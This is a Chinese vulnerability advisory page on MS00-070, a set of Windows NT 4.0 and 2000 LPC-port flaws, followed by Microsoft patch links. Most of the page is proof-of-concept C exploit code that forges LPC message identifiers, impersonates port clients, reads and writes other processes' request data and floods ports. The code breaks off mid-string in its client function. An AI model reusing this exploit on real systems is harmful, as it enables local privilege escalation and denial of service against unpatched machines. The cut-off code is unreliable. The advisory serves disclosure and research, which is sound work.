首页 -> 安全研究

安全研究

安全漏洞
Microsoft Windows LPC和LPC端口拒绝服务/权限提升漏洞(MS00-070)

发布日期:2000-10-03
更新日期:2000-10-03

受影响系统:
Microsoft Windows NT Workstation 4.0
Microsoft Windows NT Server 4.0
Microsoft Windows 2000 Server
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Advance Server
描述:
BUGTRAQ  ID: 1753

Microsoft Windows是微软发布的非常流行的操作系统。

Windows NT 4.0和Windows 2000在实现LPC和LPC端口时存在多个漏洞:
    
1 攻击者可以通过发布无效的LPC请求导致受影响的系统失效;

2 攻击者可以通过发布伪造的LPC请求来增加队列中LPC消息的数目,直到耗尽kernel内存;    

3 任何知道LPC消息标识符的进程都可以访问该消息,但是标识符是可预测的,这样恶意用户就可以访问其他进程的LPC端口并写入随机数据,造成拒绝服务。在某些情况下,攻击者也可以向特权进程发送伪造请求以获得额外的本地权限;

4 恶意用户可以通过欺骗的LPC端口请求创建客户端和服务进程,然后通过控制LPC请求导致在提升的安全环境中运行这些请求,可能包括系统权限。

<*来源:BindView's Razor Team (info@razor.bindview.com
  
  链接:http://www.microsoft.com/technet/security/bulletin/MS00-070.asp
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#define UNICODE
#define _UNICODE

#include <tchar.h>
#include <windows.h>
#include <winnt.h>
#include "../misc/ntdll.h"

#include <stdio.h>
#include <stdlib.h>


void
server (const TCHAR *name)
{
    HANDLE hPort;
    OBJECT_ATTRIBUTES obj;
    UNICODE_STRING str;
    NTSTATUS rc;
    unsigned char rep_buff[200];
    unsigned char req_buff[200];
    PLPC_MESSAGE req = (PLPC_MESSAGE) req_buff;
    PLPC_MESSAGE rep = (PLPC_MESSAGE) rep_buff;

    /* create */
    RtlInitUnicodeString (&str, name);
    InitializeObjectAttributes (&obj, &str, 0, 0, 0);
    rc = NtCreatePort (&hPort, &obj, 0, sizeof (rep_buff) - sizeof (*rep), 0);
    if (rc < 0) {
        _ftprintf (stderr, _T ("NtCreatePort failed: 0x%x\n"), rc);
        exit (1);
    }
    /* loop */
    while (1) {
        rc = NtReplyWaitReceivePort (hPort, 0, 0, rep);
        if (rc < 0) {
            _ftprintf (stderr, _T ("NtReplyWaitReceivePort failed: 0x%x\n"),
                       rc);
            continue;
        }

        _ftprintf (stdout, _T ("Received msg:\n"));
        _ftprintf (stdout, _T ("   Type: %d:\n"), rep->MsgType);
        _ftprintf (stdout, _T ("   Pid: %d:\n"), rep->Cid.pid);
        _ftprintf (stdout, _T ("   Tid: %d:\n"), rep->Cid.tid);
        _ftprintf (stdout, _T ("   Mid: %d:\n"), rep->Mid);
        _ftprintf (stdout, _T ("   Cid: %d:\n"), rep->CallbackId);

        if (rep->MsgType == LPC_CONN_REQ) {
            HANDLE hNewPort;

            Sleep (20000);

            rc = NtAcceptConnectPort (&hNewPort, 0, rep, 1, NULL, NULL);
            if (rc >= 0) {
                _ftprintf (stderr, _T ("NtAcceptConnectPort succeeded\n"));
                rc = NtCompleteConnectPort (hNewPort);
                if (rc < 0) {
                    _ftprintf (stderr,
                               _T ("NtCompleteConnectPort failed: 0x%x\n"),
                               rc);
                } else {
                    _ftprintf (stderr, _T ("NtCompleteConnectPort succeeded\n"));
                }
            } else {
                _ftprintf (stderr,
                           _T ("NtAcceptConnectPort failed: 0x%x\n"),
                           rc);
            }
        } else {
            Sleep (20000);

            rc = NtReplyPort (hPort, rep);
            if (rc < 0) {
                _ftprintf (stderr, _T ("NtReplyPort failed: 0x%x\n"),
                           rc);
            } else {
                _ftprintf (stderr, _T ("NtReplyPort succeeded\n"));
            }
        }
    }
}


void
server1 ()
{
    NTSTATUS rc;
    unsigned char rep_buff[200];
    unsigned char req_buff[200];
    PLPC_MESSAGE req = (PLPC_MESSAGE) req_buff;
    PLPC_MESSAGE rep = (PLPC_MESSAGE) rep_buff;
    HANDLE hNewPort;
    int pid, tid, mid;

    _ftprintf (stdout, _T ("Enter pid, tid, mid:\n"));
    _ftscanf (stdin, _T ("%d, %d, %d"),
              &pid, &tid, &mid);

    rep->MsgType = LPC_CONN_REQ;
    rep->Cid.pid = pid;
    rep->Cid.tid = tid;
    rep->Mid = mid;

    rc = NtAcceptConnectPort (&hNewPort, 0, rep, 1, NULL, NULL);
    if (rc >= 0) {
        _ftprintf (stderr, _T ("NtAcceptConnectPort succeeded\n"));
        rc = NtCompleteConnectPort (hNewPort);
        if (rc < 0) {
            _ftprintf (stderr,
                       _T ("NtCompleteConnectPort failed: 0x%x\n"),
                       rc);
        } else {
            _ftprintf (stderr, _T ("NtCompleteConnectPort succeeded\n"));
        }
    } else {
        _ftprintf (stderr,
                   _T ("NtAcceptConnectPort failed: 0x%x\n"),
                   rc);
    }
}


void
server2 (const TCHAR *name)
{
    HANDLE hPort;
    OBJECT_ATTRIBUTES obj;
    UNICODE_STRING str;
    NTSTATUS rc;
    unsigned char rep_buff[200];
    unsigned char req_buff[200];
    PLPC_MESSAGE req = (PLPC_MESSAGE) req_buff;
    PLPC_MESSAGE rep = (PLPC_MESSAGE) rep_buff;

    /* create */
    RtlInitUnicodeString (&str, name);
    InitializeObjectAttributes (&obj, &str, 0, 0, 0);
    rc = NtCreatePort (&hPort, &obj, 0, sizeof (rep_buff) - sizeof (*rep), 0);
    if (rc < 0) {
        _ftprintf (stderr, _T ("NtCreatePort failed: 0x%x\n"), rc);
        exit (1);
    }
    /* loop */
    while (1) {
        rc = NtReplyWaitReceivePort (hPort, 0, 0, rep);
        if (rc < 0) {
            _ftprintf (stderr, _T ("NtReplyWaitReceivePort failed: 0x%x\n"),
                       rc);
            continue;
        }

        _ftprintf (stdout, _T ("Received msg:\n"));
        _ftprintf (stdout, _T ("   Type: %d:\n"), rep->MsgType);
        _ftprintf (stdout, _T ("   Pid: %d:\n"), rep->Cid.pid);
        _ftprintf (stdout, _T ("   Tid: %d:\n"), rep->Cid.tid);
        _ftprintf (stdout, _T ("   Mid: %d:\n"), rep->Mid);

        Sleep (20000);

        rc = NtReplyPort (hPort, rep);
        if (rc < 0) {
            _ftprintf (stderr, _T ("NtReplyPort failed: 0x%x\n"),
                       rc);
        } else {
            _ftprintf (stderr, _T ("NtReplyPort succeeded\n"));
        }
    }
}


void
server3 (const TCHAR *name)
{
    HANDLE hPort;
    OBJECT_ATTRIBUTES obj;
    UNICODE_STRING str;
    NTSTATUS rc;
    unsigned char rep_buff[200];
    unsigned char req_buff[200];
    PLPC_MESSAGE req = (PLPC_MESSAGE) req_buff;
    PLPC_MESSAGE rep = (PLPC_MESSAGE) rep_buff;
    int pid, tid, mid;

    /* create */
    RtlInitUnicodeString (&str, name);
    InitializeObjectAttributes (&obj, &str, 0, 0, 0);
    rc = NtCreatePort (&hPort, &obj, 0, sizeof (rep_buff) - sizeof (*rep), 0);
    if (rc < 0) {
        _ftprintf (stderr, _T ("NtCreatePort failed: 0x%x\n"), rc);
        exit (1);
    }

    _ftprintf (stdout, _T ("Enter pid, tid, mid:\n"));
    _ftscanf (stdin, _T ("%d, %d, %d"),
              &pid, &tid, &mid);

    rep->DataSize = 0;
    rep->MsgSize = sizeof (*rep);
    rep->MsgType = LPC_REQUEST;
    rep->Cid.pid = pid;
    rep->Cid.tid = tid;
    rep->Mid = mid;

    rc = NtReplyPort (hPort, rep);
    if (rc < 0) {
        _ftprintf (stderr, _T ("NtReplyPort failed: 0x%x\n"),
                   rc);
    } else {
        _ftprintf (stderr, _T ("NtReplyPort succeeded\n"));
    }
}


void
server4 (const TCHAR *name)
{
    HANDLE hPort;
    HANDLE hNewPort;
    OBJECT_ATTRIBUTES obj;
    UNICODE_STRING str;
    NTSTATUS rc;
    unsigned char rep_buff[200];
    unsigned char req_buff[200];
    PLPC_MESSAGE req = (PLPC_MESSAGE) req_buff;
    PLPC_MESSAGE rep = (PLPC_MESSAGE) rep_buff;
    int count = 0;

    /* create */
    RtlInitUnicodeString (&str, name);
    InitializeObjectAttributes (&obj, &str, 0, 0, 0);
    rc = NtCreatePort (&hPort, &obj, 0, sizeof (rep_buff) - sizeof (*rep), 0);
    if (rc < 0) {
        _ftprintf (stderr, _T ("NtCreatePort failed: 0x%x\n"), rc);
        exit (1);
    }
    /* loop */
    while (1) {
        rc = NtReplyWaitReceivePort (hPort, 0, 0, rep);
        if (rc < 0) {
            _ftprintf (stderr, _T ("NtReplyWaitReceivePort failed: 0x%x\n"),
                       rc);
            continue;
        }
        _ftprintf (stdout, _T ("Received msg:\n"));
        _ftprintf (stdout, _T ("   Type: %d:\n"), rep->MsgType);
        _ftprintf (stdout, _T ("   Pid: %d:\n"), rep->Cid.pid);
        _ftprintf (stdout, _T ("   Tid: %d:\n"), rep->Cid.tid);
        _ftprintf (stdout, _T ("   Mid: %d:\n"), rep->Mid);
        _ftprintf (stdout, _T ("   Callbackid: %d:\n"), rep->CallbackId);

        if (rep->MsgType == LPC_CONN_REQ) {

            rc = NtAcceptConnectPort (&hNewPort, 0, rep, 1, NULL, NULL);
            if (rc >= 0) {
                _ftprintf (stderr, _T ("NtAcceptConnectPort succeeded\n"));
                rc = NtCompleteConnectPort (hNewPort);
                if (rc < 0) {
                    _ftprintf (stderr,
                               _T ("NtCompleteConnectPort failed: 0x%x\n"),
                               rc);
                } else {
                    _ftprintf (stderr, _T ("NtCompleteConnectPort succeeded\n"));
                }
            } else {
                _ftprintf (stderr,
                           _T ("NtAcceptConnectPort failed: 0x%x\n"),
                           rc);
            }
        } else {
            unsigned long pid, tid, mid, callback_id;
            unsigned long save_pid, save_tid, save_mid, save_callback_id;

            _ftprintf (stdout, _T ("Enter pid, tid, mid, callback_id:\n"));
            _ftscanf (stdin, _T ("%d, %d, %d, %d"),
                      &pid, &tid, &mid, &callback_id);

            save_pid = rep->Cid.pid;
            save_tid = rep->Cid.tid;
            save_mid = rep->Mid;
            save_callback_id = rep->CallbackId;

            rep->Cid.pid = pid;
            rep->Cid.tid = tid;
            rep->Mid = mid;
            rep->CallbackId = callback_id;
            
            rc = NtImpersonateClientOfPort (hNewPort, rep);
            if (rc < 0) {
                _ftprintf (stderr,
                           _T ("NtImpersonateClientOfPort failed: 0x%x\n"),
                           rc);
            } else {
                _ftprintf (stderr, _T ("NtImpersonateClientOfPort succeeded\n"));
            }

            rep->Cid.pid = save_pid;
            rep->Cid.tid = save_tid;
            rep->Mid = save_mid;
            rep->CallbackId = save_callback_id;
            
            rc = NtReplyPort (hPort, rep);
            if (rc < 0) {
                _ftprintf (stderr, _T ("NtReplyPort failed: 0x%x\n"),
                           rc);
            } else {
                _ftprintf (stderr, _T ("NtReplyPort succeeded\n"));
            }
        }
    }
}


void
server4b (const TCHAR *name)
{
    HANDLE hPort;
    OBJECT_ATTRIBUTES obj;
    UNICODE_STRING str;
    NTSTATUS rc;
    unsigned char rep_buff[200];
    unsigned char req_buff[200];
    PLPC_MESSAGE req = (PLPC_MESSAGE) req_buff;
    PLPC_MESSAGE rep = (PLPC_MESSAGE) rep_buff;

    /* create */
    RtlInitUnicodeString (&str, name);
    InitializeObjectAttributes (&obj, &str, 0, 0, 0);
    rc = NtCreatePort (&hPort, &obj, 0, sizeof (rep_buff) - sizeof (*rep), 0);
    if (rc < 0) {
        _ftprintf (stderr, _T ("NtCreatePort failed: 0x%x\n"), rc);
        exit (1);
    }
    /* loop */
    while (1) {
        rc = NtReplyWaitReceivePort (hPort, 0, 0, rep);
        if (rc < 0) {
            _ftprintf (stderr, _T ("NtReplyWaitReceivePort failed: 0x%x\n"),
                       rc);
            continue;
        }

        _ftprintf (stdout, _T ("Received msg:\n"));
        _ftprintf (stdout, _T ("   Type: %d:\n"), rep->MsgType);
        _ftprintf (stdout, _T ("   Pid: %d:\n"), rep->Cid.pid);
        _ftprintf (stdout, _T ("   Tid: %d:\n"), rep->Cid.tid);
        _ftprintf (stdout, _T ("   Mid: %d:\n"), rep->Mid);
        _ftprintf (stdout, _T ("   Cid: %d:\n"), rep->CallbackId);

        if (rep->MsgType == LPC_CONN_REQ) {
            HANDLE hNewPort;

            rc = NtAcceptConnectPort (&hNewPort, 0, rep, 1, NULL, NULL);
            if (rc >= 0) {
                _ftprintf (stderr, _T ("NtAcceptConnectPort succeeded\n"));
                rc = NtCompleteConnectPort (hNewPort);
                if (rc < 0) {
                    _ftprintf (stderr,
                               _T ("NtCompleteConnectPort failed: 0x%x\n"),
                               rc);
                } else {
                    _ftprintf (stderr, _T ("NtCompleteConnectPort succeeded\n"));
                }
            } else {
                _ftprintf (stderr,
                           _T ("NtAcceptConnectPort failed: 0x%x\n"),
                           rc);
            }
        } else {
            rc = NtReplyWaitReplyPort (hPort, rep);
            if (rc < 0) {
                _ftprintf (stderr, _T ("NtReplyWaitReplyPort failed: 0x%x\n"),
                           rc);
            } else {
                _ftprintf (stderr, _T ("NtReplyWaitReplyPort succeeded\n"));
            }
        }
    }
}


void
server5a (const TCHAR *name)
{
    HANDLE hPort;
    HANDLE hNewPort;
    OBJECT_ATTRIBUTES obj;
    UNICODE_STRING str;
    NTSTATUS rc;
    unsigned char rep_buff[200];
    unsigned char req_buff[200];
    PLPC_MESSAGE req = (PLPC_MESSAGE) req_buff;
    PLPC_MESSAGE rep = (PLPC_MESSAGE) rep_buff;
    int count = 0;

    /* create */
    RtlInitUnicodeString (&str, name);
    InitializeObjectAttributes (&obj, &str, 0, 0, 0);
    rc = NtCreatePort (&hPort, &obj, 0, sizeof (rep_buff) - sizeof (*rep), 0);
    if (rc < 0) {
        _ftprintf (stderr, _T ("NtCreatePort failed: 0x%x\n"), rc);
        exit (1);
    }
    /* loop */
    while (1) {
        rc = NtReplyWaitReceivePort (hPort, 0, 0, rep);
        if (rc < 0) {
            _ftprintf (stderr, _T ("NtReplyWaitReceivePort failed: 0x%x\n"),
                       rc);
            continue;
        }
        _ftprintf (stdout, _T ("Received msg:\n"));
        _ftprintf (stdout, _T ("   Type: %d:\n"), rep->MsgType);
        _ftprintf (stdout, _T ("   Pid: %d:\n"), rep->Cid.pid);
        _ftprintf (stdout, _T ("   Tid: %d:\n"), rep->Cid.tid);
        _ftprintf (stdout, _T ("   Mid: %d:\n"), rep->Mid);
        _ftprintf (stdout, _T ("   Cid: %d:\n"), rep->CallbackId);

        if (rep->MsgType == LPC_CONN_REQ) {

            rc = NtAcceptConnectPort (&hNewPort, 0, rep, 1, NULL, NULL);
            if (rc >= 0) {
                _ftprintf (stderr, _T ("NtAcceptConnectPort succeeded\n"));
                rc = NtCompleteConnectPort (hNewPort);
                if (rc < 0) {
                    _ftprintf (stderr,
                               _T ("NtCompleteConnectPort failed: 0x%x\n"),
                               rc);
                } else {
                    _ftprintf (stderr, _T ("NtCompleteConnectPort succeeded\n"));
                }
            } else {
                _ftprintf (stderr,
                           _T ("NtAcceptConnectPort failed: 0x%x\n"),
                           rc);
            }
        } else {
            unsigned long data[3];

            Sleep (20000);
            
            rc = NtReadRequestData (hPort, rep, 0, data, sizeof (data), NULL);
            if (rc < 0) {
                _ftprintf (stderr, _T ("NtReadRequestData failed: 0x%x\n"),
                           rc);
            } else {
                _ftprintf (stderr, _T ("NtReadRequestData succeeded\n"));
                _ftprintf (stderr, _T ("data[0] = 0x%x\n"), data[0]);
                _ftprintf (stderr, _T ("data[1] = 0x%x\n"), data[1]);
                _ftprintf (stderr, _T ("data[2] = 0x%x\n"), data[2]);
            }

            data[0] = 0xdeadbabe;
            data[1] = 0xcafebeef;
            data[2] = 0xdeafface;
            rc = NtWriteRequestData (hPort, rep, 0, data, sizeof (data), NULL);
            if (rc < 0) {
                _ftprintf (stderr, _T ("NtWriteRequestData failed: 0x%x\n"),
                           rc);
            } else {
                _ftprintf (stderr, _T ("NtWriteRequestData succeeded\n"));
            }

            rc = NtReplyPort (hPort, rep);
            if (rc < 0) {
                _ftprintf (stderr, _T ("NtReplyPort failed: 0x%x\n"),
                           rc);
            } else {
                _ftprintf (stderr, _T ("NtReplyPort succeeded\n"));
            }
        }
    }
}


unsigned long saved_mids[10000];
unsigned int num_saved;

void
server5b (const TCHAR *name)
{
    HANDLE hPort;
    OBJECT_ATTRIBUTES obj;
    UNICODE_STRING str;
    NTSTATUS rc;
    unsigned char rep_buff[200];
    PLPC_MESSAGE rep = (PLPC_MESSAGE) rep_buff;

    /* create */
    RtlInitUnicodeString (&str, name);
    InitializeObjectAttributes (&obj, &str, 0, 0, 0);
    rc = NtCreatePort (&hPort, &obj, 0, sizeof (rep_buff) - sizeof (*rep), 0);
    if (rc < 0) {
        _ftprintf (stderr, _T ("NtCreatePort failed: 0x%x\n"), rc);
        exit (1);
    }
    /* loop */
    while (1) {
        rc = NtReplyWaitReceivePort (hPort, 0, 0, rep);
        if (rc < 0) {
            _ftprintf (stderr, _T ("NtReplyWaitReceivePort failed: 0x%x\n"),
                       rc);
            continue;
        }

        if (rep->MsgType == LPC_CONN_REQ) {
            HANDLE hNewPort;

            rc = NtAcceptConnectPort (&hNewPort, 0, rep, 1, NULL, NULL);
            if (rc >= 0) {
                _ftprintf (stderr, _T ("NtAcceptConnectPort succeeded\n"));
                rc = NtCompleteConnectPort (hNewPort);
                if (rc < 0) {
                    _ftprintf (stderr,
                               _T ("NtCompleteConnectPort failed: 0x%x\n"),
                               rc);
                } else {
                    _ftprintf (stderr, _T ("NtCompleteConnectPort succeeded\n"));
                }
            } else {
                _ftprintf (stderr,
                           _T ("NtAcceptConnectPort failed: 0x%x\n"),
                           rc);
            }
        } else {
            if (rep->DataSize != 0xc) {
                break;
            }
            if (num_saved < sizeof (saved_mids) / sizeof (saved_mids[0])) {
                saved_mids[num_saved++] = rep->Mid;
                rep->CallbackId++;
            }
            rc = NtReplyPort (hPort, rep);
            if (rc < 0) {
                _ftprintf (stderr, _T ("NtReplyPort failed: 0x%x\n"),
                           rc);
            }
        }
    }

    while (1) {
        unsigned long data[100];
        unsigned long pid, tid, mid, callback_id;
        unsigned char req_buff[200];
        PLPC_MESSAGE req = (PLPC_MESSAGE) req_buff;
        unsigned char *pMsgData = (unsigned char *)req + sizeof (*req);

        memset (req, 0, sizeof (*req));
        memset (data, 0, sizeof (data));

        _ftprintf (stdout, _T ("Enter pid, tid, mid, callback_id:\n"));
        _ftscanf (stdin, _T ("%d, %d, %d, %d"),
                  &pid, &tid, &mid, &callback_id);

        req->DataSize = 0xc;
        req->MsgSize = req->DataSize + sizeof (*req);
        req->MsgType = LPC_REQUEST;
        req->VirtRangOff = sizeof (*req);
        req->Cid.pid = pid;
        req->Cid.tid = tid;
        req->Mid = mid;
        req->CallbackId = callback_id;

        *(unsigned long *)pMsgData = 1;
        *((unsigned long *)pMsgData+1) = 0x7ffdf000;
        *((unsigned long *)pMsgData+2) = sizeof (data);

        rc = NtReadRequestData (hPort, req, 0, data, sizeof (data), NULL);
        if (rc < 0) {
            _ftprintf (stderr, _T ("NtReadRequestData failed: 0x%x\n"),
                       rc);
        } else {
            _ftprintf (stderr, _T ("NtReadRequestData succeeded\n"));
            _ftprintf (stderr, _T ("data[0] = 0x%x\n"), data[0]);
            _ftprintf (stderr, _T ("data[1] = 0x%x\n"), data[1]);
            _ftprintf (stderr, _T ("data[2] = 0x%x\n"), data[2]);
        }

        data[0] = 0xdeadbabe;
        data[1] = 0xcafebeef;
        data[2] = 0xdeafface;
        rc = NtWriteRequestData (hPort, req, 0, data, sizeof (data), NULL);
        if (rc < 0) {
            _ftprintf (stderr, _T ("NtWriteRequestData failed: 0x%x\n"),
                       rc);
        } else {
            _ftprintf (stderr, _T ("NtWriteRequestData succeeded\n"));
        }
    }
}


void
server5b_2 (const TCHAR *name)
{
    HANDLE hPort;
    OBJECT_ATTRIBUTES obj;
    UNICODE_STRING str;
    NTSTATUS rc;
    unsigned char rep_buff[200];
    unsigned char req_buff[200];
    PLPC_MESSAGE req = (PLPC_MESSAGE) req_buff;
    PLPC_MESSAGE rep = (PLPC_MESSAGE) rep_buff;
    int count = 0;

    /* create */
    RtlInitUnicodeString (&str, name);
    InitializeObjectAttributes (&obj, &str, 0, 0, 0);
    rc = NtCreatePort (&hPort, &obj, 0, sizeof (rep_buff) - sizeof (*rep), 0);
    if (rc < 0) {
        _ftprintf (stderr, _T ("NtCreatePort failed: 0x%x\n"), rc);
        exit (1);
    }
    /* loop */
    while (1) {
        rc = NtReplyWaitReceivePort (hPort, 0, 0, rep);
        if (rc < 0) {
            _ftprintf (stderr, _T ("NtReplyWaitReceivePort failed: 0x%x\n"),
                       rc);
            continue;
        }
        count++;
        if (count % 1000000 == 0) {
            _ftprintf (stdout, _T ("Received msg:\n"));
            _ftprintf (stdout, _T ("   Type: %d:\n"), rep->MsgType);
            _ftprintf (stdout, _T ("   Pid: %d:\n"), rep->Cid.pid);
            _ftprintf (stdout, _T ("   Tid: %d:\n"), rep->Cid.tid);
            _ftprintf (stdout, _T ("   Mid: %d:\n"), rep->Mid);
        }

        if (rep->MsgType == LPC_CONN_REQ) {
            HANDLE hNewPort;

            rc = NtAcceptConnectPort (&hNewPort, 0, rep, 1, NULL, NULL);
            if (rc >= 0) {
                _ftprintf (stderr, _T ("NtAcceptConnectPort succeeded\n"));
                rc = NtCompleteConnectPort (hNewPort);
                if (rc < 0) {
                    _ftprintf (stderr,
                               _T ("NtCompleteConnectPort failed: 0x%x\n"),
                               rc);
                } else {
                    _ftprintf (stderr, _T ("NtCompleteConnectPort succeeded\n"));
                }
            } else {
                _ftprintf (stderr,
                           _T ("NtAcceptConnectPort failed: 0x%x\n"),
                           rc);
            }
        } else {
            rc = NtReplyPort (hPort, rep);
            if (rc < 0) {
                _ftprintf (stderr, _T ("NtReplyPort failed: 0x%x\n"),
                           rc);
            } else {
                if (count % 1000000 == 0) {
                    _ftprintf (stderr, _T ("NtReplyPort succeeded\n"));
                }
            }
        }
    }
}


void
server6 (const TCHAR *name)
{
    HANDLE hPort;
    OBJECT_ATTRIBUTES obj;
    UNICODE_STRING str;
    NTSTATUS rc;
    unsigned char rep_buff[200];
    unsigned char req_buff[200];
    PLPC_MESSAGE req = (PLPC_MESSAGE) req_buff;
    PLPC_MESSAGE rep = (PLPC_MESSAGE) rep_buff;

    /* create */
    RtlInitUnicodeString (&str, name);
    InitializeObjectAttributes (&obj, &str, 0, 0, 0);
    rc = NtCreatePort (&hPort, &obj, 0, sizeof (rep_buff) - sizeof (*rep), 0);
    if (rc < 0) {
        _ftprintf (stderr, _T ("NtCreatePort failed: 0x%x\n"), rc);
        exit (1);
    }
    /* loop */
    while (1) {
        rc = NtReplyWaitReceivePort (hPort, 0, 0, rep);
        if (rc < 0) {
            _ftprintf (stderr, _T ("NtReplyWaitReceivePort failed: 0x%x\n"),
                       rc);
            continue;
        }

        _ftprintf (stdout, _T ("Received msg:\n"));
        _ftprintf (stdout, _T ("   Type: %d:\n"), rep->MsgType);
        _ftprintf (stdout, _T ("   Pid: %d:\n"), rep->Cid.pid);
        _ftprintf (stdout, _T ("   Tid: %d:\n"), rep->Cid.tid);
        _ftprintf (stdout, _T ("   Mid: %d:\n"), rep->Mid);

        if (rep->MsgType == LPC_CONN_REQ) {
            HANDLE hNewPort;

            rc = NtAcceptConnectPort (&hNewPort, 0, rep, 1, NULL, NULL);
            if (rc >= 0) {
                _ftprintf (stderr, _T ("NtAcceptConnectPort succeeded\n"));
                rc = NtCompleteConnectPort (hNewPort);
                if (rc < 0) {
                    _ftprintf (stderr,
                               _T ("NtCompleteConnectPort failed: 0x%x\n"),
                               rc);
                } else {
                    _ftprintf (stderr, _T ("NtCompleteConnectPort succeeded\n"));
                }
            } else {
                _ftprintf (stderr,
                           _T ("NtAcceptConnectPort failed: 0x%x\n"),
                           rc);
            }
        } else {
            rep->CallbackId++;
            rc = NtReplyPort (hPort, rep);
            if (rc < 0) {
                _ftprintf (stderr, _T ("NtReplyPort failed: 0x%x\n"),
                           rc);
            } else {
                _ftprintf (stderr, _T ("NtReplyPort succeeded\n"));
            }
        }
    }
}


void
client (const TCHAR *name)
{
    HANDLE hPort;
    UNICODE_STRING str;
    NTSTATUS rc;
    SECURITY_QUALITY_OF_SERVICE QoS = { sizeof (QoS), 2, 1, 1 };
    unsigned char msg_buf[500];
    unsigned int max_msg_size;
    PLPC_MESSAGE pMsg = (PLPC_MESSAGE) msg_buf;

    RtlInitUnicodeString (&str, name);
    rc = NtConnectPort (&hPort, &str, &QoS, NULL, NULL, &max_msg_size, NULL, NULL);
    if (rc < 0) {
        _ftprintf (stderr, _T ("NtConnectPort failed: 0x%x\n"), rc);
    } else {
        _ftprintf (stderr, _T ("NtConnectPort succeeded\n"));

        memset (pMsg, 0, sizeof (*pMsg));
        pMsg->DataSize = 10;
        pMsg->MsgSize = pMsg->DataSize + sizeof (*pMsg);
        pMsg->MsgType = LPC_NEW_MSG;
        rc = NtRequestWaitReplyPort (hPort, pMsg, pMsg);
        if (rc < 0) {
            _ftprintf (stderr, _T ("NtRequestWaitReplyPort failed: 0x%x\n"), rc);
            exit (1);
        }
        _ftprintf (stderr, _T ("NtRequestWaitReplyPort succeeded\n"));
        _ftprintf (stdout, _T ("Received msg:\n"));
        _ftprintf (stdout, _T ("   Type: %d:\n"), pMsg->MsgType);
        _ftprintf (stdout, _T ("   Pid: %d:\n"), pMsg->Cid.pid);
        _ftprintf (stdout, _T ("

建议:
厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS00-070)以及相应补丁:
MS00-070:Patch Available for Multiple LPC and LPC Ports Vulnerabilities
链接:http://www.microsoft.com/technet/security/bulletin/MS00-070.asp

补丁下载:

Microsoft Windows NT 4.0 Workstation, Server和Server, Enterprise Edition:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=24650

Microsoft Windows 2000 Professional, Server, Advanced Server和Datacenter Server:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=24649

浏览次数:6742
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障